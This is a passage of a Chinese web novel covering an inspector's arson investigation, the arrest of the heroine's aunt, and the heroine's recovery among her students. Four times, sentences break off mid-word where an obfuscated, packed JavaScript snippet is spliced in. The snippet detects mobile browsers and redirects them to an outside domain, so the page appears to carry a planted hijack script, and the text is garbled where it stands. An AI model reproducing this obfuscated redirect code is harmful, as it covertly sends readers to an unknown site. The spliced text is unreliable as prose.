“是，可是我们兄弟当中有人犯了事儿，劳烦大人这么晚了还来此地？”宋正齐绵里藏针地问道。 “非也非也，不过近日出入金台县的人太多，例行问讯罢了。”江稷摇头道，又问：“这年头，金台县可没什么人买得起珠宝，怎的就想起到这儿来了？” 宋正齐忙道：“听闻金台县有位乔姑娘制出了农事上用的神药，引得华行首都来了，我们兄弟几人，想来此碰碰运气罢了。” 江稷嗤笑一声，往后靠着椅背，“别人做生意，都是往人多的地方做，你们一行人倒是怪了。先不说你能不能遇上华行首，你去郢州城里卖给那些富商，岂不是更快些？” “这……”宋正齐连连赔笑道：“大人说的是，是我们兄弟几人太没头脑了，一心只想着卖高价。” 江稷懒得戳穿对方拙劣的谎言，笑道：“对了，你们既然是打南方过来，应该见过沿路的洋金花罢，现下开得正好。” “大人说笑了，我们不是闺阁女子，哪里知道什么花不花的。”宋正齐的面色不变，对答如流。 “是吗？那倒是可惜了。”江稷单手撑着下巴，朝宋正齐道：“前几日乔姑娘家中起火，她被火烧伤至今还未苏醒。有趣的是，巡检司派去清理的人，在火场里找到了还未烧完的洋金花。” 91. 骤变（七） 宋正齐不明白江稷为何突然开口说这些，他有些不快道：“大人说这话是何意？莫不是在怀疑我们？” “哪里的话。”江稷淡淡扫过在场众人一眼，然后才对着宋正齐道：“乔姑娘出了事，买扑自然是要延后了。你们既是为了华行首来的，想必还要在此处多待些日子。最近金台县里头不太平，珠宝贵重，诸位可要看管好财物才是。” 这巡检使莫名到来，如今又说了一番似是而非的话。 宋正齐摸不准他的意思，只道：“那便多谢大人好意了。” 江稷不再逗留，带着邹尧走出了雅间，他开口问道。“你怎么看？” 邹尧略一思索道：“太假。” “说说。” “且不说商人逐利，华行首什么好东西没见过，谁会为了卖他珠宝追到一个小县城来。还有，巡检使一提起洋金花，我瞧靠门边那汉子的脸色立时变了，这事必定同他们脱不了干系。” “盯紧他们，不要打草惊蛇。”江稷道。 “是。”邹尧领命而去，旋即消失在醉仙居的人群中。 确认江稷离开了醉仙居，方才最先同江稷搭话的男人出声道：“这巡检使莫不是盯上我们了？大哥，接下来该怎么办？” 宋正齐不复方才面对江稷的做小伏低，他挺直脊背道：“你们只管吃喝，千万不要出马脚，剩下的，待我去问一问主子再做定夺。” 说罢，他便走出雅间，转而去了醉仙居最奢华的天字间。 天字间里，半躺着一个衣着华贵至极的少年。少年眼颊狭长，形似狐狸，袒露出半个臂膀，单脚支起，斜靠着任由身旁的美人喂酒。他半眯着眼，正细看着面前几个轻衣绮罗，身姿窈窕的姑娘在翩翩起舞。 “主子。”宋正齐入了内室，很有规矩地站在屏风后头，一眼都不敢多看。 “何事？”歌舞声未歇，少年的嗓音带着浓浓的慵懒。 “这……”人多口杂，宋正齐犹豫了没说出口。 少年并未管宋正齐，任由他站在门口等着。直到看腻了歌舞，随意丢了身侧的玉珏珠宝下地，很有兴味地看着下头的舞女互殴疯抢过后，才道：“行了，你们先下去罢。” 衣着凌乱的舞女们接连告退，宋正齐这才绕过了屏风，跪到少年身前。 一股黏腻的脂粉香气直冲宋正齐的鼻子，他忍住了打喷嚏的冲动，垂首道：“方才金台县的巡检使来了。” “他来做什么？”少年随手拈了颗珍珠放在手上。 “说是例行问话……”宋正齐话到一半，有些吞吞吐吐道：“他还问我们，知不知晓洋金花。” 少年拿着珍珠对着烛光赏玩，“这地方的巡检使倒是个能干的，听说是江家人？” “是，名叫江稷，出身江家旁支。”宋正齐恭敬答道。 大如指盖的珍珠被随意丢到地上，少年带着玩笑的语气道：“那就一起杀了罢。” “主……主子。”宋正齐一时噎住。 毕竟是过了明路的朝廷命官，这可不是一句话就能解决的。 少年看出了宋正齐的胆颤，他赤脚走在地上，俯身对宋正齐笑得邪魅，“同你玩笑罢了。说到底，这事儿又不是我们做的，你怕什么？” 宋正齐闻言：“主子的意思是？” “冤有头债有主。” 宋正齐瞬间明白了他的意思，连忙俯身道：“属下这就去办。” “等等。”少年喊住他，“还未找到那日送信之人的消息吗？” 宋正齐额间滑落一滴汗珠，背弯得不能再弯，忙道：“属下该死，属下该死。” 少年嘴角扯出笑容，下一瞬，他的脚就踩到了宋正齐的头上。 宋正齐的头被少年用力踩入天字间柔软的地毯内，绒毛充斥在他的口鼻中，堵的他根本无法呼吸。 直到发现宋正齐的身子开始发软，少年才松开了脚，踢踢他的脸道：“无用的废物，若三日后再找不到，你知道后果。” “属下定当竭尽所能，还请主子息怒。”宋正齐勉强维持住几欲昏厥的身体，躬身一礼后才缓缓告退。 少年重新倚靠在软榻上，看着一室靡靡，有些兴致缺缺。 都烧成这样了还没死透，这乔元当真命大。 —— 从醉仙居回来，江稷刚踏入巡检司，就听得楚津来报，“大人，有人说自己瞧见了那日纵火之人。” 江稷敛眉，吩咐楚津先将人带上来。 来人是个粗布锗衣的老汉，面上风霜遍布，瞧着倒是个老实的。 端坐在堂上，江稷肃容问道：“你说你瞧见了纵火之人，可有凭证？” 老汉见了江稷，有些惧怕地不敢说话，还是楚津安抚了几句，他才开口道：“禀……禀告大人，那日二更我刚奔丧回来，路过青石巷，便见一个妇人在巷口鬼鬼祟祟的，手里还提着个篮子。” “我见她这么晚了还在此地，怕是遇着什么麻烦了，就想上去问问。” “谁料那妇人似是受了惊，一把推开我，她手里的篮子掉在地上，里头掉出不少火折子和一些瞧不出样子的干花。” “我听她嘴里还念念有词，说什么‘代价’‘报复’之类的话。那时候我刚奔丧回来，遇到这样的怪人，心下自然是有些害怕，便先跑回家了。” “现下想想，那妇人定是纵火犯。”老汉一口咬定道。 江稷问道：“你可记得那妇人的样子？” 老汉点点头，“记得的，那妇人两颊凹陷，瘦的可怕。人也有些疯疯癫癫的，瞧着不太正常。” “楚津。”江稷道，“带他下去，问清楚妇人的细节。” 楚津应了一声，领着老汉走了。 江稷坐在堂上，心头万绪并未因为老汉的到来而有所缓解。 他从洋金花入手，搜寻了两日，才找到一些有用的消息。今日前脚刚从醉仙居出来，后脚就有人递上了准确无误的情报，甚至连各种细节都分毫不差。 这未免也太巧合了些。 江稷在前头等了约莫一炷香的功夫，楚津从后头带了一张画像出来。“大人，这是我照着那老汉所描绘画的嫌犯图。” 江稷接过画像，只一眼，他便认出了上头的人。 乔元的大伯娘，吴玉梅。 上次同乔元陪着纪师到吴玉梅家，江稷已经清楚了她家同吴玉梅之间的恩怨。若当真是她动的手，新仇旧恨一起加上，动机倒是很明确。 对方既然抛了吴玉梅出来，必定不是空穴来风。 事不宜迟，江稷带上人，径直往永宁巷走去。 —— 永宁巷。 乔满仓劳累了一天，刚回到家，迎面就被一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784126|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坨泥巴砸了脸。 见他面上脏污好一块，乔天宝坐在地上拍手，有些乐不可支。 “天宝，可不能用泥巴砸人，再有下次，爹就要打你了。”乔满仓板起脸，抬手吓唬儿子。 乔天宝一见他抬手，有些害怕，便又只垂头玩泥巴，不再搭理他。 乔满仓叹了口气，没管坐在地上的儿子，进屋拿起汗巾随手擦了擦脸。 日光在天际落下最后的余晖，屋里暗得不行。 乔满仓摸黑点起油灯，待把脸擦干净，这才在屋里寻摸吴玉梅的踪迹。 一直走到主屋，乔满仓才见吴玉梅正坐在床榻上，对着绣绷痴痴地笑。见他回来，不同往日的愤恨，吴玉梅很是温柔道：“怪我，竟忘了你回来的时辰，我这就给你做饭去。” “你今日……”乔满仓有些意外。 他还没想好说些什么，吴玉梅已经柔声劝了他好生歇息，自己则拖着脚上的锁链往厨房的方向走去。 自打吴玉梅被巡检司打了之后，他们二人见面或是争吵或是冷待，难得有这般温柔小意的时刻。 乔满仓心下宽慰，依言在主屋休憩了一会儿。 就在他迷瞪地快睡着的时候，院外突然出现了砸门声。 砸门声音又急又大，听着来了不少人，乔满仓被惊地跳了起来。 心头狂跳，乔满仓叮嘱吴玉梅在家里莫要出去，又用糖饼劝了乔天宝进屋，这才吸了口气去院子里打开门。 门刚一被打开，站在外头的差役蜂拥而上，直接将他压倒在地。 “官爷，官爷，这是作甚！”乔满仓躺在地上痛呼。 院里无人回应他。 江稷对领头的差役使了个颜色，余下的人马上便进了乔满仓家。没一会儿，乔天宝就被带了出来。 没见到想要的人，还未等江稷开口，最先入内的差役走到他面前，抱拳有些为难道：“大人，里头还有一妇人，但那妇人脚上带着锁链，带不出来。” 江稷看了地上的乔满仓一眼，“你可有钥匙？” 乔满仓喘着粗气，应道：“在……在我身上。” 差役摸了钥匙，没一会儿就把屋内的吴玉梅带到了江稷面前。 “你们这是作甚！私闯民宅，我要去县衙，去告你们！”吴玉梅瞧着很是削瘦，挣扎起来却很是有力，连两个差役都有些按不住。 “老实点。”差役下了死力气。 吴玉梅被压得跪在地上，满脸的不服。 江稷冷眼打量她，居高临下问道：“乔家的火，是不是你放的？” 家里余粮告急，乔满仓从早忙到晚，哪里有空去打听别人的闲事。听江稷这么一说，他有些讶异问道：“什么火？” 江稷看了他一眼，缓缓道：“你弟弟家着火，烧了整间屋子，你不知道吗？” 被按在地上的乔满仓一听，心想巡检司定是因为西市的事儿误会了吴玉梅，忙道：“大人，大人，冤枉啊！我娘子日日同我在一起，若白日我不在，就会在她腿上绑上锁链，她是万万不能去乔家放火的。” 压着乔满仓的差役又用了几分力，斥道：“没问你。” 吴玉梅看了地上的乔满仓一眼，随后幽幽抬头看向江稷，皮包骨的脸笑得很是渗人，“他们家的火，是老天惩罚，是那起子贱人罪有应得，同我有何相干？” 92. 骤变（八） “是吗？”江稷姿态闲适地冲着差役打了个手势。 没一会儿，来巡检司指认的老汉就被带了上来。 他一见吴玉梅，朝江稷激动道：“大人，就是她，那晚在青石巷口鬼鬼祟祟的妇人！” 吴玉梅听老汉这么说，面上疯魔，“老东西，我从未见过你，你莫不是乔元那贱人找来，故意来污蔑我的罢！” 老汉见状，气急道：“你二更天提着篮子站在巷口，我怕你遇上事儿了还特意同你搭话，你不承认就算了，怎能张口就叱骂我！” “你放屁，前日二更我在家睡得好好的，提篮子出门作甚。”吴玉梅被压着动不了手，只能恨恨地看向老汉。 “你那篮子里装着不少火折子还有一些像花儿一样的东西，是千真万确抵赖不得的呀！”见吴玉梅一直不认，老汉在原地急地跺脚。 “篮子？什么篮子？老东西，你莫不是年纪大了得了癔症了罢？”吴玉梅眼白泛黄，上下打量老汉，笑得前俯后仰。 “这……这……”老汉也是头一回遇见这样蛮不讲理的人，他看向江稷嗫嚅道：“大人，我没说谎，真的是她。” 江稷点点头，让老汉先下去。他转向吴玉梅道：“你确定前日二更你在家睡觉，从未出门？” “怎的，我脚上拷着锁链，是飞出去不成？”吴玉梅冲江稷翻了个白眼，很是不屑。 江稷转头看向乔满仓，又问，“你也的确不知乔家着火之事？” 乔满山忙点头道：“请大人明鉴，我当真不知。” “行了，把人带走罢。”江稷发话。 本以为他们已经解释清楚，定然无事了，谁知道这官爷竟直接抓人。乔满仓脑子发蒙，那可是进去就要褪一层皮的巡检司啊！ 吴玉梅同样也没想到，在没有任何证据的情况下，江稷会直接拿了她走人。 她在差役手下不断反抗，想要挣脱桎梏，“好啊，姓江的，我看你就是同乔元那贱人狼狈为奸，你个不要脸的地皮烂货，你会有报应的！” 吴玉梅嘴里的骂人的话是一套接着一套。 江稷见她犹不死心，淡淡道：“你既说你从未出过家门，为何知道是那火起在前日而非昨日？” 单这一句话，吴玉梅登时哑了火。 她的脸白了一片，喉头紧张得有些说不出话来。 意识到自己这样不妥，吴玉梅即刻张口道：“什么昨日前日的，我不过顺嘴说说罢了，你想凭这句话就空口白牙就想诬赖我，不能够！” “行了，别装了。等到了巡检司，我自有办法让你开口。”江稷没再同她废话。 吴玉梅闻言，慌张的不行，“你敢滥用私刑，你不能这样对我，我没放过火！不是我做的！啊——” 她话还未说完，就被差役拖着往外走。 巡检司来时的阵仗很大，邻里街坊都偷偷在门缝里打量着乔满山家。差役拖着还在尖叫的吴玉梅出来时，几乎所有人都看到了她的丑态。 被这么多人盯着，吴玉梅也不觉得丢人，对着江稷和差役破口大骂，硬称自己是无罪的。 在他身后，乔满仓也被推搡着往前走。此刻的他已经如同行尸走肉，兀自回不过神来。 自己连乔家何时着得火都不知，吴玉梅却准确的说出了二更天。 他心头苦涩异常，难不成这火，当真同她有关。 院子里的人接连被带走，江稷这才唤了老汉过来，丢了给他一块碎银。“交代你的话说得很好，这些是你应得的赏金，且拿去罢。” 诱导犯人说出被特意虚化的信息，是他们巡检司审问时的常用手段。 老汉面上一喜，忙躬身谢道：“多谢大人，多谢大人。” 江稷没再将注意力放在老汉身上，翻身上马往巡检司疾驰而去。 马背颠簸，江稷的脑中却异常清醒。 吴玉梅这般不经意的就入了套，想来的确是颗弃子。至于幕后黑手是不是那几个怪商人，还得仔细细审问之后才能得知。 —— 待江稷回到新买的私宅里，月色悬天，已是寅时。 他跟着审了一夜，吴玉梅吐出了不少东西，但同她商议的是谁，她却迟迟不肯吐露。 一个锁着锁链的妇人，不可能能解开锁链不被丈夫知晓，也没有能耐得来这么多的火折子和洋金花。 但涉及这些事情，不论差役如何审问，吴玉梅死都不肯松口。 江稷坐在院中沉思，这其中只会有两个原因。 一则，是对方同她达成了什么协议，只要吴玉梅咬死认下这件事，她就会得到好处。二则，是吴玉梅的确不知道背后之人是谁，同她所说，只来了个黑衣蒙面人在同她接洽。 不论原因为何，可以肯定的是，这两批人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787902|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的，都是乔元。 他们是为了杀乔元而来。 吴玉梅是为了新仇旧恨，才想杀乔元和乔家所有人，那背后之人呢？ 江稷脑中没有任何思绪。 巡检司中杀人越货的亡命之徒，背后都会有最原始的动机。 要么是利，要么情。 在认识他之前，乔元不过是石湾村最普通的姑娘。没有同任何人有过利益冲突，也未曾有过桃花债。 但在认识他之后…… 江稷思来想去，想到的唯一的可能，便是阴神教。 后塘镇的阴神教被他们一举捣灭后，灵州府照着他们给的清单明细，在整个灵州上下寻找。温从行曾来信告知过他，在州府的鼎力支持下，阴神教在灵州剩下的余孽已经被清查殆尽。 难不成是阴神教的人来寻仇？ 若真是如此，江稷眉头拧成‘川’字，刀削的面庞在夜半风露中显得异常凝重。 这些亡命之徒，一次得不了手，就会有第二次。 乔元接下去怕是会有更大的危险。 思及此，江稷快步往乔元房间的方向走去。 绕过长廊走到乔元的屋外，周遭隐有几声虫鸣，里头倒是安安静静地没什么响动。 江稷见状，微微松了一口气。他刚抬步准备往外走，却听得门‘吱呀’一声打开了。 “江稷？你怎的在此处？”乔元声带疑惑。 江稷应声回头，见到的就是乔元披着外衣半开着门，手里还拿着个茶壶。 “你这是？”江稷问道。 乔元看了看他，又顺着他的视线瞧了眼手上的茶壶，解释道：“嗓子干的难受，起来泡壶水喝。” 估摸是那日在火场烟熏多了，醒后她的嗓子一会儿不喝水就干的发疼。 江稷上前一步接过她手里的水壶，留下一句‘你先在屋里等着。’，人就大步往厨房走去。 有人帮着倒水自是好事，乔元依言在屋里亮了灯，等着江稷回来。 江稷打完水回来，回来就见乔元的房门开着。屋里亮着暖黄色的烛火，乔元散着头发，正坐在桌前翻看书册。 绿窗斜月人初静，红烛微摇夜正长。 江稷的脚步放的轻地不能再轻，他就这样站在离乔元几步的廊檐下，静静看着她。 灯下美人，抵过这世间他见过的所有美好画面。 93. 骤变（九） 直到乔元认认真真看完一页内容，她的余光才瞟见提着茶壶安静站在门口的江稷。 “江稷？”乔元偏头轻声问道。 廊檐下的男人似是如梦初醒般，有些不自然地掩唇轻咳一声，迈着长腿走进屋内。 倒了杯茶递给乔元，江稷这将茶壶放下，坐在她一旁的凳子上。 壶里的茶水晾了这么些时候，刚好适口。 乔元接过抿了一口，入口微甜，“你在里头加了甘草？” 江稷道：“老头买的药材就在里头，顺手拿了点。” 乔元点点头，小口喝着茶水，并未接话。 二人安安静静的坐了会儿，江稷忽然出声道：“这屋子当时买的匆忙，里头的东西难免会有些缺漏。你病刚好不宜出门见风，我明日就让人送个小吊炉到你房里来。” 乔元闻言，打趣道：“我倒不知你这般有钱，这样地段宅子说买就买。” 江稷当时买这宅子，全凭一时意气。 那日他问完楚津哪里地段的宅子最好，当夜就去找李成看房交了定金。待第二日醒来，巡检司的事情一忙，他转眼就将这事儿抛之脑后了。 直到前几日乔家屋子被烧了，他才想起这处来。 “你不喜欢这里？”江稷问道。 “怎会，这宅子又大又通透，还在城中地段又好，是处好地方。”乔元眼眸里透着欢喜。 江稷放心下来，神色温柔地看着面前的姑娘。 “我瞧着现下已经是寅时，你是刚从巡检司回来？”乔元放下杯盏，同样转头看向他。 二人的目光在烛火下不经意间交汇，彼此都能看到眼瞳里倒映着对方的影子。 不知怎的，乔元脑海中突然跳出那夜，江稷拿拇指擦过她嘴角的画面。 拇指温热的触感，在几日后的夜晚，重新烫到了她的嘴唇。 乔元的面颊‘噌’一声地红了上来，她迅速转头，有些结结巴巴道：“你……你今日回来这么晚，可是找到纵火之人了？” 她的突然转变叫江稷有些摸不着头脑，但他还是依言回道：“找到了，是吴玉梅。” 在外叱咤风云的巡检使，在这处小宅院里，倒像是个有问必答的好学生。 “吴玉梅？！”时隔多日听到这个名字，乔元惊得再度与江稷对视。“她不是被乔满仓锁在家中了吗？” 江稷不瞒着她，将审问出来的消息尽数告知了乔元。 “你的意思是，背后或许是阴神教在捣鬼？”乔元的面庞冷了下来。 江稷颔首道：“你并未同人有过仇怨，这样大的手笔，普通人实难做到。” “可……”乔元仍旧觉得有几分不对，“若真是阴神教，为何要借吴玉梅之手，用这么迂回的手段？” “这也是我的疑点。”江稷坦然道：“他们里头不乏高手，直接派人才刺杀或许更快些。” 屋子里再度安静下来，乔元的指尖无意识地轻点桌面，半晌后她才道：“若是阴神教，他们巴不得先报上名号，然后将我杀了，如此才好给他们的教众祭旗。可那幕后之人，却选择借吴玉梅的手，那就说明他并不想被人知道是谁。” 顺着这个思路，乔元接着道：“他想杀我，却又不愿脏了自己的手。那只能说明，他明面上的身份定是个有头有脸的人物。” 江稷在听乔元说话的同时自身也在思考，“你所言不无道理。” “但同我起冲突的人，大都是金台县上的百姓，并无人背后会有这般大的势力。”乔元的思绪卡回了原点。 翻来覆去想了好几遍，乔元不得不承认江稷所言，目前阴神教的嫌疑最大。 “不论背后是谁，这段日子你都要当心些，我怕对方还会有后手。”江稷的话里含着藏不住的担忧。 “我省得的。”乔元应道，她甚至转头宽慰江稷道：“你放心，对方既然一开始就用这样的阴招，想必后手还会是借刀杀人。我既知道了他们的存在，自然会打起精神小心应付。” 江稷还想再开口，但见乔元并未敷衍的模样，话到嘴边还是咽了下去。 罢了，自己替她小心留意就是。 二人又在屋里聊了会儿吴玉梅的事，直到江稷见乔元打了个哈欠，这才止住了话头，起身告辞。 临走时他再度替乔元打了一壶水来，直到在屋外看着她熄了灯，这才回到了自己的院落。 月将西沉，天色欲晓，他又熬了一夜。 另一厢，乔元仰面躺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795677|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上，眼瞳清明。 回想着江稷方才带来的消息，她面上不复在江稷面的淡然。 双手交叠在腹部，乔元脑中思绪轮转。 除了吴玉梅，到底是谁要这样治她于死地。 躺了好一会儿乔元没了丝毫睡意，她索性起来再度就着烛火看书。 桌面上的一角，严维运写的书册正安安静静地躺在哪里。那日在火场，她写的东西都没救出来，唯独抢出了这本书。 看着严维运写的字字句句，乔元一时在心头泛起了嘀咕，也不知道那老头受到她写的信了没有。 —— 京城，司农寺。 自打南方水患以来，司农寺上下便乱成了一锅粥，从地方接连递上来的受灾折子快淹没了严维运的书案。 而在折子堆里的严维运，却并未仔细翻看这些受灾的折子，反而是盯着面前的一张地图，若有所思。 他的大弟子彭青，坐在屋内另一处书案上，正埋头奋笔疾书。 待书写完毕检查过后，彭青这才将纸上的内容呈到了严维运案头，“师傅，这是我写的水患后农事作物的基础处理方法，还请您过目。” 严维运闻言，从地图中抬起头来一目十行地看了，“写的不错，但中规中矩了些。这次水患受灾的地方已经不止一州这么简单，那雨像天被捅了个窟窿似的下个不停，你上头写的法子怕是难以奏效。” “是徒儿无能，我且再去想想办法。”彭青接过严维运递过来的纸，并未气馁，重新坐回了书案上头。 严维运并未搭腔，再度将注意力放在了面前的地图上。 他刚入定沉思，忽听得门口的通报声。 “何事？”他的目光尖利如锋。 站在门口的驿使被他严厉的语气吓得抖了一抖，垂头有些畏缩道：“大人，有您的信。” “信？”严维运目露不耐，想必又是哪些世家大族送来的。他道：“你先放着罢。” 书房重地，驿使不敢轻易踏入，求救的目光投向了一旁的彭青。 彭青见状，起身走到门口接了过来。 手上的信有些分量，他很是随意的看了一眼上头的署名，骤然停步，“师傅，这信是从郢州寄来的。” 94. 日子（一） 夜半看书熬到了凌晨，乔元再度醒过来的时，就听得外头一阵窸窸窣窣的说话声。 声音很轻，间或夹杂着几声笑。 在这一群说话声中，有几道声音颇为熟悉，乔元侧耳细听了会儿，起身收拾妥当推开了房门。 “你们——”她刚看清院外的场景，头戴绒花的小姑娘就像蝴蝶一样扎进了她的怀里，“呜呜呜呜师傅，你可好些了？” 李绒的这一声师傅，直接将院外姑娘们的注意力集中了过来。 “先生！” “乔先生醒了。” 屋外登时热闹起来，女学的姑娘们全都围聚到乔元身侧，一个个的眼眸里全透露着担忧。 “你们这是？”好容易把李绒扒拉下来，乔元开口问道。 李琴娘站在最前头，面上带着七分笑三分恼，瞟了一眼坐在远处凉亭里的江稷，“你家着火那日我们就想来看你，谁知道被巡检司的人拦在门外硬是不让进，直到今日你醒了，我们千求万求，巡检使才肯放了我们进来。” “乔先生，得知你家着火那日，可把我们吓坏了。” “对呀！好在先生福大命大，逃过一劫。” “先生，这是我专门为你做的糕点，用桃木蒸的，希望先生能辟邪驱恶，岁岁无忧。” 姑娘们面上洋溢着淳朴的笑脸，一个个叽叽喳喳的在乔元耳边说着话，又真挚又赤忱。 她们或带着自制的糕点，或带着一点火灾后有能用得上的东西。 这些东西算不上好，却都是她们一点一点攒起来的心意。 “李绒，你还不把东西拿出来吗？”李琴娘点了一下抱着乔元不撒手的毛茸脑袋。 李绒这才有些意犹未尽地松开抱着乔元腰的手，从怀里掏出一个小锦囊。她往后退了一步，面向乔元双手奉上锦囊，“师傅，这是我们一起去城隍庙帮你求的，能保佑你平平安安。” 乔元接过锦囊，打开后，里头赫然是个小巧精致的平安结。 平安结是用红绳编的，中间坠了一个玉质的环扣，下头的流苏根根分明，一看便知价格不菲。 姑娘们围城一圈，笑盈盈的看着乔元。 “……多谢。”乔元心头涌上一股暖流，从胸口一直蔓延到四肢百骸。 江稷坐在绿荫环绕的亭子里，眸色幽深，静静地看着这一幕。 “我们这些人，在这世上能苟延活着已经很不容易，你力排众议开设女学，让我们能有一分体面，还能有一手技艺傍身。多谢你，乔先生。” 李琴娘的话简简单单，却道出了在场姑娘们的心声。 乔元被众人围在中间接受她们的善意，第一次有些不知该如何回应。 开设女学于她而言不过心血来潮，她甚至未有过更长远的规划。但对面前的姑娘们来说，却是她们一生当中仅此一次的救赎。 “呦，怎的都站在这儿。”恰逢此时，周素提着一个竹篮过来，见乔元起了，她招呼道：“元姐儿，你快带姑娘们过来尝尝我刚做的包子，刚出炉的呢！就当尝个鲜。” 乔元偏过头缓和了一下情绪，话里透着几丝鼻音，“我娘做的包子皮薄馅大，吃过绝对忘不了，大家都一起去尝尝罢。” 姑娘们很是默契地没去看她有些泛红的眼眶，跟着周素往厨房的方向走。 李琴娘同李绒走在末尾，李绒抱着乔元的胳膊，半扶着她走。“师傅，你身子刚好，要小心些。” 乔元垂头看她，“你呢？上次受了那么重的伤，现下如何了？” 李绒拍拍自己的胸脯，“我皮糙肉厚，在床上躺了这么些日子早就好了。要不是我娘硬要我再歇几日，我早就来问讯处上学了。” 乔元闻言放心下来，犹豫了一会儿，又问道：“那你家人呢？” 听巡检司里的差役说是一回事，听李绒亲口说出自己的感受又是另外一回事了。 提到这事，李绒面上露出了不符合她这个年纪的情绪，“我家……就那样。对了师傅，你还不知道罢。” 她努力让自己的声音听起来高兴些，“上次药铺的事儿，传到了同我家结亲那户人家的耳朵里。他们一听我爹惹上了巡检司，忙不迭的就来退了亲，托他们的福，我总算不用嫁人了。” 小姑娘嘴上说的不满不在乎，但耷拉的眉眼还是出卖了她。这世上对姑娘的要求太多，不论李绒对错与否，既被对方退了亲，就免不得要受人指指点点。 事情已成定局，乔元没再就着话往下说，反倒打趣道：“怎的，乔元徒弟的名号，甚至没有一个巡检司好用？” 李绒听她这么一说，‘噗嗤’一下笑出了声。 跟在一旁的李琴娘也开嗓道：“妹妹你可得听姐一句劝，这可是天大的好事呢！对方这样的人品家世，你嫁过去定然只有受苦的份，只怕没几年就要被蹉跎成满手是老茧的老嬷了。你现下被骂就被骂罢，总归以后的好日子是自己的。这人谁爱嫁谁嫁，反正咱不吃这口饭。” 李绒想了想，面上的笑意又大了几分，一个劲儿地点头道：“是这个理呢。” 瞧着她的脚步都轻快了不少，李琴娘这才凑近乔元道：“邱月托我同你说一声，她家今日来了贵客，到不了你这儿了，让我替她给你带个好。” “你们的关系何时变得这般亲近了？”乔元好奇问道。 “我同她才不好呢，不过今日恰巧碰上了邱府送信的人罢了。”一提起她，李琴娘扭头往前走。 提起邱月的是她，说生气就生气的也是她。 乔元摇头很是无奈的笑笑，跟着往前走去。 远处，女学的姑娘们坐在凳子上，手里拿着包子有说有笑的。 同她们初见的时候，她们面上或是愁苦，或是麻木，整个人都没什么生气。但起码现在，她们不用为了嫁人和银钱苦恼，兴致一起，也能同旁人笑着谈谈她们从未奢想过的未来。 停步站着看了一会儿，乔元将手撘在眉骨上朝上望去。 四下无风，天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806640|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗气清，真好。 姑娘们在院里停留了小半个时辰才走，周素劝她们留下用顿饭，一个个却极有分寸的定要告辞，乔元同周素只能出门相送。 等回到院里时，江稷已经不见了踪影。 周素刚要扶了乔元回去歇息，纪师又不知道打哪里冒了出来，很是热情地拉着乔元道：“丫头，来来来，让我给你把个脉。” 几人随意找了凳子坐下，纪师专心撘起脉来。 没一会儿，乔元就听得他道：“年轻就是好啊，才这么几日的功夫，便恢复的七七八八了。丫头，你吃完今日份的药，接下去就别再吃了。” 收回手，乔元谢过他后，恭敬问道：“纪老，我有一事相询。” “你说罢。”纪师很是随意道。 “我听江稷说，那日火里被加了洋金花，可为何我同我阿娘却能醒来？”乔元深知吴玉梅绝对不会手下留情，但在这点上却让她有些费解。 纪师看了乔元一眼，单手撵着胡子，“你这问题问的好。丫头，你可知，人的体质也分三六九等？洋金花虽然会致人昏迷，但对不同的体质，却有不同的效果……” 静静听完纪师的分析，乔元这才明白过来。 她那日能提前醒来，纯粹是自己走了狗屎运。不同个体对洋金花中的化学成分敏感度差异很大，她的身体应该算是低敏型，这才能那么早醒过来。 给母女俩把完脉，纪师这才负手出去外头溜达。 周素坐在一旁，有些不解问道：“元姐儿，你为何突然问纪老这些，难不成是抓到纵火之人了吗？” 这事儿是昨日半夜江稷同她说的，乔家人还并不知情。 乔元看着周素，定定道：“阿娘，纵火之人，是吴玉梅。” “她……怎么会是她呢。”这名字一出，周素颇有些不知所措地从凳子上站起，她的指甲紧紧扣到肉里，整个人都显的有些张皇。 知道周素下意识地害怕听到有关吴玉梅的一切，乔元起身拉着她重新坐下。“阿娘别怕，你先听我说。” 接着，乔元将江稷同她说的话细细说了一遍。 